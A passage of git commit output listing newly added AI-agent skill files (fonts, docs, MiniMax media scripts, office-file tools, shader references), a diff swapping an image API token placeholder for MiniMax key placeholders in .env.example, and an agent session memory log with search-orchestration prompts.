skills/frontend-dev/canvas-fonts/Jura-Light.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Jura-Medium.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Jura-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/LibreBaskerville-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/LibreBaskerville-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Lora-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Lora-BoldItalic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Lora-Italic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Lora-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/Lora-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/NationalPark-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/NationalPark-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/NationalPark-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/NothingYouCouldDo-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/NothingYouCouldDo-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Outfit-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Outfit-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/Outfit-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/PixelifySans-Medium.ttf create mode 100644 skills/frontend-dev/canvas-fonts/PixelifySans-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/PoiretOne-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/PoiretOne-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/RedHatMono-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/RedHatMono-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/RedHatMono-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Silkscreen-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/Silkscreen-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/SmoochSans-Medium.ttf create mode 100644 skills/frontend-dev/canvas-fonts/SmoochSans-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/Tektur-Medium.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Tektur-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/Tektur-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/WorkSans-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/WorkSans-BoldItalic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/WorkSans-Italic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/WorkSans-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/WorkSans-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/YoungSerif-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/YoungSerif-Regular.ttf create mode 100644 skills/frontend-dev/references/asset-prompt-guide.md create mode 100644 skills/frontend-dev/references/env-setup.md create mode 100644 skills/frontend-dev/references/minimax-cli-reference.md create mode 100644 skills/frontend-dev/references/minimax-image-guide.md create mode 100644 skills/frontend-dev/references/minimax-music-guide.md create mode 100644 skills/frontend-dev/references/minimax-tts-guide.md create mode 100644 skills/frontend-dev/references/minimax-video-guide.md create mode 100644 skills/frontend-dev/references/minimax-voice-catalog.md create mode 100644 skills/frontend-dev/references/motion-recipes.md create mode 100644 skills/frontend-dev/references/troubleshooting.md create mode 100755 skills/frontend-dev/scripts/minimax_image.py create mode 100644 skills/frontend-dev/scripts/minimax_music.py create mode 100755 skills/frontend-dev/scripts/minimax_tts.py create mode 100755 skills/frontend-dev/scripts/minimax_video.py create mode 100644 skills/frontend-dev/templates/generator_template.js create mode 100644 skills/frontend-dev/templates/viewer.html create mode 100644 skills/fullstack-dev/SKILL.md create mode 100644 skills/fullstack-dev/references/api-design.md create mode 100644 skills/fullstack-dev/references/auth-flow.md create mode 100644 skills/fullstack-dev/references/db-schema.md create mode 100644 skills/fullstack-dev/references/django-best-practices.md create mode 100644 skills/fullstack-dev/references/environment-management.md create mode 100644 skills/fullstack-dev/references/release-checklist.md create mode 100644 skills/fullstack-dev/references/technology-selection.md create mode 100644 skills/fullstack-dev/references/testing-strategy.md create mode 100644 skills/gif-sticker-maker/SKILL.md create mode 100644 skills/gif-sticker-maker/assets/image-prompt-template.txt create mode 100644 skills/gif-sticker-maker/assets/video-prompt-template.txt create mode 100644 skills/gif-sticker-maker/references/captions.md create mode 100644 skills/gif-sticker-maker/references/requirements.txt create mode 100644 skills/gif-sticker-maker/scripts/convert_mp4_to_gif.py create mode 100755 skills/gif-sticker-maker/scripts/minimax_image.py create mode 100755 skills/gif-sticker-maker/scripts/minimax_video.py create mode 100644 skills/image-enhancer/SKILL.md create mode 100644 skills/internal-comms/LICENSE.txt create mode 100644 skills/internal-comms/SKILL.md create mode 100644 skills/internal-comms/examples/3p-updates.md create mode 100644 skills/internal-comms/examples/company-newsletter.md create mode 100644 skills/internal-comms/examples/faq-answers.md create mode 100644 skills/internal-comms/examples/general-comms.md create mode 100644 skills/ios-application-dev/SKILL.md create mode 100644 skills/ios-application-dev/references/accessibility.md create mode 100644 skills/ios-application-dev/references/graphics-animation.md create mode 100644 skills/ios-application-dev/references/layout-system.md create mode 100644 skills/ios-application-dev/references/metal-shader.md create mode 100644 skills/ios-application-dev/references/navigation-patterns.md create mode 100644 skills/ios-application-dev/references/swift-coding-standards.md create mode 100644 skills/ios-application-dev/references/swiftui-design-guidelines.md create mode 100644 skills/ios-application-dev/references/system-integration.md create mode 100644 skills/ios-application-dev/references/uikit-components.md create mode 100644 skills/lead-research-assistant/SKILL.md create mode 100644 skills/mcp-builder/LICENSE.txt create mode 100644 skills/mcp-builder/SKILL.md create mode 100644 skills/mcp-builder/reference/evaluation.md create mode 100644 skills/mcp-builder/reference/mcp_best_practices.md create mode 100644 skills/mcp-builder/reference/node_mcp_server.md create mode 100644 skills/mcp-builder/reference/python_mcp_server.md create mode 100644 skills/mcp-builder/scripts/connections.py create mode 100644 skills/mcp-builder/scripts/evaluation.py create mode 100644 skills/mcp-builder/scripts/example_evaluation.xml create mode 100644 skills/mcp-builder/scripts/requirements.txt create mode 100644 skills/meeting-insights-analyzer/SKILL.md create mode 100644 skills/minimax-docx/.gitignore create mode 100644 skills/minimax-docx/LICENSE create mode 100644 skills/minimax-docx/SKILL.md create mode 100644 skills/minimax-docx/assets/styles/academic_styles.xml create mode 100644 skills/minimax-docx/assets/styles/corporate_styles.xml create mode 100644 skills/minimax-docx/assets/styles/default_styles.xml create mode 100644 skills/minimax-docx/assets/xsd/aesthetic-rules.xsd create mode 100644 skills/minimax-docx/assets/xsd/business-rules.xsd create mode 100644 skills/minimax-docx/assets/xsd/common-types.xsd create mode 100644 skills/minimax-docx/assets/xsd/wml-subset.xsd create mode 100644 skills/minimax-docx/references/cjk_typography.md create mode 100644 skills/minimax-docx/references/cjk_university_template_guide.md create mode 100644 skills/minimax-docx/references/comments_guide.md create mode 100644 skills/minimax-docx/references/design_good_bad_examples.md create mode 100644 skills/minimax-docx/references/design_principles.md create mode 100644 skills/minimax-docx/references/openxml_element_order.md create mode 100644 skills/minimax-docx/references/openxml_encyclopedia_part1.md create mode 100644 skills/minimax-docx/references/openxml_encyclopedia_part2.md create mode 100644 skills/minimax-docx/references/openxml_encyclopedia_part3.md create mode 100644 skills/minimax-docx/references/openxml_namespaces.md create mode 100644 skills/minimax-docx/references/openxml_units.md create mode 100644 skills/minimax-docx/references/scenario_a_create.md create mode 100644 skills/minimax-docx/references/scenario_b_edit_content.md create mode 100644 skills/minimax-docx/references/scenario_c_apply_template.md create mode 100644 skills/minimax-docx/references/track_changes_guide.md create mode 100644 skills/minimax-docx/references/troubleshooting.md create mode 100644 skills/minimax-docx/references/typography_guide.md create mode 100644 skills/minimax-docx/references/xsd_validation_guide.md create mode 100755 skills/minimax-docx/scripts/doc_to_docx.sh create mode 100755 skills/minimax-docx/scripts/docx_preview.sh create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Cli/MiniMaxAIDocx.Cli.csproj create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Cli/Program.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Commands/AnalyzeCommand.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Commands/ApplyTemplateCommand.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Commands/CreateCommand.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Commands/DiffCommand.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Commands/EditContentCommand.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Commands/FixOrderCommand.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Commands/MergeRunsCommand.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Commands/ValidateCommand.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/MiniMaxAIDocx.Core.csproj create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/OpenXml/CommentSynchronizer.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/OpenXml/ElementOrder.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/OpenXml/NamespaceConstants.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/OpenXml/RunMerger.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/OpenXml/StyleAnalyzer.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/OpenXml/TrackChangesHelper.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/OpenXml/UnitConverter.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/AestheticRecipeSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/AestheticRecipeSamples_Batch1.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/AestheticRecipeSamples_Batch2.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/AestheticRecipeSamples_Batch3.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/AestheticRecipeSamples_Batch4.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/CharacterFormattingSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/DocumentCreationSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/FieldAndTocSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/FootnoteAndCommentSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/HeaderFooterSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/ImageSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/ListAndNumberingSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/ParagraphFormattingSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/StyleSystemSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/TableSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Samples/TrackChangesSamples.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Typography/CjkHelper.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Typography/FontDefaults.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Typography/PageSizes.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Validation/BusinessRuleValidator.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Validation/GateCheckValidator.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Validation/ValidationResult.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.Core/Validation/XsdValidator.cs create mode 100644 skills/minimax-docx/scripts/dotnet/MiniMaxAIDocx.slnx create mode 100755 skills/minimax-docx/scripts/env_check.sh create mode 100644 skills/minimax-docx/scripts/setup.ps1 create mode 100755 skills/minimax-docx/scripts/setup.sh create mode 100644 skills/minimax-multimodal-toolkit/SKILL.md create mode 100644 skills/minimax-multimodal-toolkit/references/image-api.md create mode 100644 skills/minimax-multimodal-toolkit/references/music-api.md create mode 100644 skills/minimax-multimodal-toolkit/references/tts-guide.md create mode 100644 skills/minimax-multimodal-toolkit/references/tts-voice-catalog.md create mode 100644 skills/minimax-multimodal-toolkit/references/video-api.md create mode 100644 skills/minimax-multimodal-toolkit/references/video-prompt-guide.md create mode 100755 skills/minimax-multimodal-toolkit/scripts/check_environment.sh create mode 100755 skills/minimax-multimodal-toolkit/scripts/image/generate_image.sh create mode 100755 skills/minimax-multimodal-toolkit/scripts/media_tools.sh create mode 100755 skills/minimax-multimodal-toolkit/scripts/music/generate_music.sh create mode 100755 skills/minimax-multimodal-toolkit/scripts/tts/generate_voice.sh create mode 100755 skills/minimax-multimodal-toolkit/scripts/video/add_bgm.sh create mode 100755 skills/minimax-multimodal-toolkit/scripts/video/generate_long_video.sh create mode 100755 skills/minimax-multimodal-toolkit/scripts/video/generate_template_video.sh create mode 100755 skills/minimax-multimodal-toolkit/scripts/video/generate_video.sh create mode 100644 skills/minimax-pdf/README.md create mode 100644 skills/minimax-pdf/SKILL.md create mode 100644 skills/minimax-pdf/design/design.md create mode 100644 skills/minimax-pdf/scripts/cover.py create mode 100644 skills/minimax-pdf/scripts/fill_inspect.py create mode 100644 skills/minimax-pdf/scripts/fill_write.py create mode 100644 skills/minimax-pdf/scripts/make.sh create mode 100644 skills/minimax-pdf/scripts/merge.py create mode 100644 skills/minimax-pdf/scripts/palette.py create mode 100644 skills/minimax-pdf/scripts/reformat_parse.py create mode 100644 skills/minimax-pdf/scripts/render_body.py create mode 100644 skills/minimax-pdf/scripts/render_cover.js create mode 100644 skills/minimax-xlsx/SKILL.md create mode 100644 skills/minimax-xlsx/references/create.md create mode 100644 skills/minimax-xlsx/references/edit.md create mode 100644 skills/minimax-xlsx/references/fix.md create mode 100644 skills/minimax-xlsx/references/format.md create mode 100644 skills/minimax-xlsx/references/ooxml-cheatsheet.md create mode 100644 skills/minimax-xlsx/references/read-analyze.md create mode 100644 skills/minimax-xlsx/references/validate.md create mode 100644 skills/minimax-xlsx/scripts/formula_check.py create mode 100644 skills/minimax-xlsx/scripts/libreoffice_recalc.py create mode 100644 skills/minimax-xlsx/scripts/shared_strings_builder.py create mode 100644 skills/minimax-xlsx/scripts/style_audit.py create mode 100644 skills/minimax-xlsx/scripts/xlsx_add_column.py create mode 100644 skills/minimax-xlsx/scripts/xlsx_insert_row.py create mode 100644 skills/minimax-xlsx/scripts/xlsx_pack.py create mode 100644 skills/minimax-xlsx/scripts/xlsx_reader.py create mode 100644 skills/minimax-xlsx/scripts/xlsx_shift_rows.py create mode 100644 skills/minimax-xlsx/scripts/xlsx_unpack.py create mode 100644 skills/minimax-xlsx/templates/minimal_xlsx/[Content_Types].xml create mode 100644 skills/minimax-xlsx/templates/minimal_xlsx/_rels/.rels create mode 100644 skills/minimax-xlsx/templates/minimal_xlsx/xl/_rels/workbook.xml.rels create mode 100644 skills/minimax-xlsx/templates/minimal_xlsx/xl/sharedStrings.xml create mode 100644 skills/minimax-xlsx/templates/minimal_xlsx/xl/styles.xml create mode 100644 skills/minimax-xlsx/templates/minimal_xlsx/xl/workbook.xml create mode 100644 skills/minimax-xlsx/templates/minimal_xlsx/xl/worksheets/sheet1.xml create mode 100644 skills/odoo-automated-tests/SKILL.md create mode 100644 skills/pentesting/SKILL.md create mode 100644 skills/pptx-generator/SKILL.md create mode 100644 skills/pptx-generator/references/design-system.md create mode 100644 skills/pptx-generator/references/editing.md create mode 100644 skills/pptx-generator/references/pitfalls.md create mode 100644 skills/pptx-generator/references/pptxgenjs.md create mode 100644 skills/pptx-generator/references/slide-types.md create mode 100644 skills/security-auditor/SKILL.md create mode 100644 skills/security-auditor/aws-security/aws-compliance-checker/SKILL.md create mode 100644 skills/security-auditor/aws-security/aws-iam-best-practices/SKILL.md create mode 100644 skills/security-auditor/aws-security/aws-secrets-rotation/SKILL.md create mode 100644 skills/security-auditor/aws-security/aws-security-audit/SKILL.md create mode 100644 skills/security-auditor/resources/checklists.md create mode 100644 skills/security-auditor/scripts/security_scan.py create mode 100644 skills/security-coder/SKILL.md create mode 100644 skills/seo-geo/SKILL.md create mode 100644 skills/seo-master/SKILL.md create mode 100644 skills/seo-master/assets/agency.md create mode 100644 skills/seo-master/assets/ecommerce.md create mode 100644 skills/seo-master/assets/generic.md create mode 100644 skills/seo-master/assets/local-service.md create mode 100644 skills/seo-master/assets/publisher.md create mode 100644 skills/seo-master/assets/saas.md create mode 100644 skills/seo-master/scripts/seo_checker.py create mode 100644 skills/shader-dev/SKILL.md create mode 100644 skills/shader-dev/reference/ambient-occlusion.md create mode 100644 skills/shader-dev/reference/analytic-ray-tracing.md create mode 100644 skills/shader-dev/reference/anti-aliasing.md create mode 100644 skills/shader-dev/reference/atmospheric-scattering.md create mode 100644 skills/shader-dev/reference/camera-effects.md create mode 100644 skills/shader-dev/reference/cellular-automata.md create mode 100644 skills/shader-dev/reference/color-palette.md create mode 100644 skills/shader-dev/reference/csg-boolean-operations.md create mode 100644 skills/shader-dev/reference/domain-repetition.md create mode 100644 skills/shader-dev/reference/domain-warping.md create mode 100644 skills/shader-dev/reference/fluid-simulation.md create mode 100644 skills/shader-dev/reference/fractal-rendering.md create mode 100644 skills/shader-dev/reference/lighting-model.md create mode 100644 skills/shader-dev/reference/matrix-transform.md create mode 100644 skills/shader-dev/reference/multipass-buffer.md create mode 100644 skills/shader-dev/reference/normal-estimation.md create mode 100644 skills/shader-dev/reference/particle-system.md create mode 100644 skills/shader-dev/reference/path-tracing-gi.md create mode 100644 skills/shader-dev/reference/polar-uv-manipulation.md create mode 100644 skills/shader-dev/reference/post-processing.md create mode 100644 skills/shader-dev/reference/procedural-2d-pattern.md create mode 100644 skills/shader-dev/reference/procedural-noise.md create mode 100644 skills/shader-dev/reference/ray-marching.md create mode 100644 skills/shader-dev/reference/sdf-2d.md create mode 100644 skills/shader-dev/reference/sdf-3d.md create mode 100644 skills/shader-dev/reference/sdf-tricks.md create mode 100644 skills/shader-dev/reference/shadow-techniques.md create mode 100644 skills/shader-dev/reference/simulation-physics.md create mode 100644 skills/shader-dev/reference/sound-synthesis.md create mode 100644 skills/shader-dev/reference/terrain-rendering.md create mode 100644 skills/shader-dev/reference/texture-mapping-advanced.md create mode 100644 skills/shader-dev/reference/texture-sampling.md create mode 100644 skills/shader-dev/reference/volumetric-rendering.md create mode 100644 skills/shader-dev/reference/voronoi-cellular-noise.md create mode 100644 skills/shader-dev/reference/voxel-rendering.md create mode 100644 skills/shader-dev/reference/water-ocean.md create mode 100644 skills/shader-dev/reference/webgl-pitfalls.md create mode 100644 skills/shader-dev/techniques/ambient-occlusion.md create mode 100644 skills/shader-dev/techniques/analytic-ray-tracing.md create mode 100644 skills/shader-dev/techniques/anti-aliasing.md create mode 100644 skills/shader-dev/techniques/atmospheric-scattering.md create mode 100644 skills/shader-dev/techniques/camera-effects.md create mode 100644 skills/shader-dev/techniques/cellular-automata.md create mode 100644 skills/shader-dev/techniques/color-palette.md create mode 100644 skills/shader-dev/techniques/csg-boolean-operations.md create mode 100644 skills/shader-dev/techniques/domain-repetition.md create mode 100644 skills/shader-dev/techniques/domain-warping.md create mode 100644 skills/shader-dev/techniques/fluid-simulation.md create mode 100644 skills/shader-dev/techniques/fractal-rendering.md create mode 100644 skills/shader-dev/techniques/lighting-model.md create mode 100644 skills/shader-dev/techniques/matrix-transform.md create mode 100644 skills/shader-dev/techniques/multipass-buffer.md create mode 100644 skills/shader-dev/techniques/normal-estimation.md create mode 100644 skills/shader-dev/techniques/particle-system.md create mode 100644 skills/shader-dev/techniques/path-tracing-gi.md create mode 100644 skills/shader-dev/techniques/polar-uv-manipulation.md create mode 100644 skills/shader-dev/techniques/post-processing.md create mode 100644 skills/shader-dev/techniques/procedural-2d-pattern.md create mode 100644 skills/shader-dev/techniques/procedural-noise.md create mode 100644 skills/shader-dev/techniques/ray-marching.md create mode 100644 skills/shader-dev/techniques/sdf-2d.md create mode 100644 skills/shader-dev/techniques/sdf-3d.md create mode 100644 skills/shader-dev/techniques/sdf-tricks.md create mode 100644 skills/shader-dev/techniques/shadow-techniques.md create mode 100644 skills/shader-dev/techniques/simulation-physics.md create mode 100644 skills/shader-dev/techniques/sound-synthesis.md create mode 100644 skills/shader-dev/techniques/terrain-rendering.md create mode 100644 skills/shader-dev/techniques/texture-mapping-advanced.md create mode 100644 skills/shader-dev/techniques/texture-sampling.md create mode 100644 skills/shader-dev/techniques/volumetric-rendering.md create mode 100644 skills/shader-dev/techniques/voronoi-cellular-noise.md create mode 100644 skills/shader-dev/techniques/voxel-rendering.md create mode 100644 skills/shader-dev/techniques/water-ocean.md create mode 100644 skills/shader-dev/techniques/webgl-pitfalls.md create mode 100644 skills/skill-creator/LICENSE.txt delete mode 100644 skills/skill-creator/scripts/.env.example delete mode 100755 skills/skill-creator/scripts/create_skill.py create mode 100755 skills/skill-creator/scripts/init_skill.py create mode 100755 skills/skill-creator/scripts/package_skill.py create mode 100755 skills/skill-creator/scripts/quick_validate.py create mode 100644 skills/test-driven-development/SKILL.md create mode 100644 skills/test-driven-development/testing-anti-patterns.md create mode 100644 skills/testing-master/SKILL.md create mode 100644 skills/testing-master/resources/implementation-playbook.md create mode 100644 skills/testing-master/testing-anti-patterns.md create mode 100644 skills/testing-patterns/SKILL.md rename skills/{website-creator => thai-frontend-dev}/AUTO_ADMIN_PASSWORD.md (100%) rename skills/{website-creator => thai-frontend-dev}/AUTO_DEPLOY_COMPLETE.md (100%) rename skills/{website-creator => thai-frontend-dev}/AUTO_DEPLOY_IMPLEMENTATION.md (100%) rename skills/{website-creator => thai-frontend-dev}/AUTO_DEPLOY_PROGRESS.md (100%) rename skills/{website-creator => thai-frontend-dev}/EASYPANEL_INTEGRATION.md (100%) rename skills/{website-creator => thai-frontend-dev}/FINAL_SUMMARY.md (100%) rename skills/{website-creator => thai-frontend-dev}/IMPLEMENTATION_STATUS.md (100%) rename skills/{website-creator => thai-frontend-dev}/IMPLEMENTATION_SUMMARY.md (100%) rename skills/{website-creator => thai-frontend-dev}/MIGRATION_WORKFLOW.md (100%) rename skills/{website-creator => thai-frontend-dev}/README.md (51%) rename skills/{website-creator => thai-frontend-dev}/SKILL.md (97%) rename skills/{website-creator => thai-frontend-dev}/SPECIFICATION.md (100%) rename skills/{website-creator => thai-frontend-dev}/TEST_REPORT.md (100%) rename skills/{website-creator => thai-frontend-dev}/UPDATE_SUMMARY.md (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/.env.example (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/create_astro_website.py (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/migrate_existing_website.py (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/refactor_existing_website.py (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/requirements.txt (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/admin-consent-logs.astro (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/components/common/Footer.astro (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/components/common/Header.astro (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/icons/line.svg (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/layouts/BaseLayout.astro (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/pages/index.astro (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/styles/global.css (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/thai-privacy-policy-template.md (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/templates/thai-terms-of-service-template.md (100%) rename skills/{website-creator => thai-frontend-dev}/scripts/umami_integration.py (100%) create mode 100644 skills/theme-factory/LICENSE.txt create mode 100644 skills/theme-factory/SKILL.md create mode 100644 skills/theme-factory/theme-showcase.pdf create mode 100644 skills/theme-factory/themes/arctic-frost.md create mode 100644 skills/theme-factory/themes/botanical-garden.md create mode 100644 skills/theme-factory/themes/desert-rose.md create mode 100644 skills/theme-factory/themes/forest-canopy.md create mode 100644 skills/theme-factory/themes/golden-hour.md create mode 100644 skills/theme-factory/themes/midnight-galaxy.md create mode 100644 skills/theme-factory/themes/modern-minimalist.md create mode 100644 skills/theme-factory/themes/ocean-depths.md create mode 100644 skills/theme-factory/themes/sunset-boulevard.md create mode 100644 skills/theme-factory/themes/tech-innovation.md create mode 100644 skills/vibe-code-auditor/SKILL.md create mode 100644 skills/video-downloader/SKILL.md create mode 100644 skills/wiki-qa/SKILL.md diff --git a/.env.example b/.env.example index 7bf2825..0a9bb01 100644 --- a/.env.example +++ b/.env.example @@ -11,11 +11,12 @@ # =========================================== # =========================================== -# 🎨 IMAGE GENERATION & EDITING -# Required for: Image features (Tests 4.1, 4.3) -# Get token from: https://chutes.ai/ +# 🎙️ MINIMAX API - For frontend-dev skill +# Required for: TTS, Music, Video generation +# Get token from: https://www.minimax.io/ # =========================================== -CHUTES_API_TOKEN= +MINIMAX_API_KEY= +MINIMAX_API_BASE=https://api.minimax.io/v1 # =========================================== # 📊 GOOGLE ANALYTICS 4 (GA4) - Optional @@ -107,7 +108,7 @@ SHODH_USER_ID=default # ✅ Context management (Group 3) # # REQUIRED FOR FULL FEATURES: -# 🎨 Images: CHUTES_API_TOKEN +# 🎙️ MiniMax: MINIMAX_API_KEY (for TTS, Music, Video, Image) # 📈 Umami: UMAMI_URL, UMAMI_USERNAME, UMAMI_PASSWORD # 🚀 Git: GIT_* (only if using git push) # @@ -116,7 +117,7 @@ SHODH_USER_ID=default # # TESTING WORKFLOW: # 1. Start with core features (no credentials) -# 2. Add CHUTES_API_TOKEN for image tests +# 2. Add MINIMAX_API_KEY for TTS/Music/Video/Image # 3. Add UMAMI_* for auto-tracking setup # 4. Add GIT_* for git push (if using Gitea) # diff --git a/.opencode/memory/2026-03-26.md b/.opencode/memory/2026-03-26.md new file mode 100644 index 0000000..ce19032 --- /dev/null +++ b/.opencode/memory/2026-03-26.md @@ -0,0 +1,40 @@ +# Memory Log - 2026-03-26 + +## Session: ses_2d81bfbb (10:09) +SessionID: ses_2d81bfbb2ffeKjkM88xvO2u53o +Full transcript: `.opencode/memory/full/ses_2d81bfbb2ffeKjkM88xvO2u53o.md` + +**Topic:** - researcher (codebase patterns, implementations) +- archivist (knowledge base, external docs if needed) + +Plus direct tools: Grep, AST-grep, LSP for targeted searches. + +SYNTHESIZE Deputy's findings before proceeding. + +[search-mode] +MAXIMIZE SEARCH EFFORT. Launch multiple background agents IN PARALLEL: +- explore agents (codebase patterns, file structures, ast-grep) +- librarian agents (remote repos, official docs, GitHub examples) +Plus direct tools: Grep, ripgrep (rg), ast-grep (sg) +NEVER stop at f... + +**Key Points:** +- User asked: - researcher (codebase patterns, implementations) +- archivist (knowledge base, external docs if needed) + +Plus direct tools: Grep, AST-grep, LSP for targeted searches. + +SYNTHESIZE Deputy's findings before proceeding. + +[search-mode] +MAXIMIZE SEARCH EFFORT. Launch multiple background agents IN PARALLEL... +- Response: Done! Here's the summary: + +## Skills Imported from GitHub + +**11 new skills added:** +- `android-native-dev` - Android native development (Kotlin/Compose) +- `frontend-dev` - Premium UI design, animations, React/Next.js (uses MiniMax API) +- `fullstack-dev` - Backend architecture, API design, auth patte... + +--- diff --git a/.opencode/memory/full/ses_2d81bfbb2ffeKjkM88xvO2u53o.md b/.opencode/memory/full/ses_2d81bfbb2ffeKjkM88xvO2u53o.md new file mode 100644 index 0000000..8bde53c --- /dev/null +++ b/.opencode/memory/full/ses_2d81bfbb2ffeKjkM88xvO2u53o.md @@ -0,0 +1,196 @@ +# Full Transcript - ses_2d81bfbb2ffeKjkM88xvO2u53o +Generated: 2026-03-26T02:13:35.472Z + +## USER + +- researcher (codebase patterns, implementations) +- archivist (knowledge base, external docs if needed) + +Plus direct tools: Grep, AST-grep, LSP for targeted searches. + +SYNTHESIZE Deputy's findings before proceeding. + +[search-mode] +MAXIMIZE SEARCH EFFORT. Launch multiple background agents IN PARALLEL: +- explore agents (codebase patterns, file structures, ast-grep) +- librarian agents (remote repos, official docs, GitHub examples) +Plus direct tools: Grep, ripgrep (rg), ast-grep (sg) +NEVER stop at first result - be exhaustive. + +[analyze-mode] +ANALYSIS MODE. Gather context before diving deep: + +CONTEXT GATHERING (parallel): +- 1-2 explore agents (codebase patterns, implementations) +- 1-2 librarian agents (if external library involved) +- Direct tools: Grep, AST-grep, LSP for targeted searches + +IF COMPLEX - DO NOT STRUGGLE ALONE. Consult specialists: +- **Oracle**: Conventional problems (architecture, debugging, complex logic) +- **Artistry**: Non-conventional problems (different approach needed) + +SYNTHESIZE findings before proceeding. + +--- + 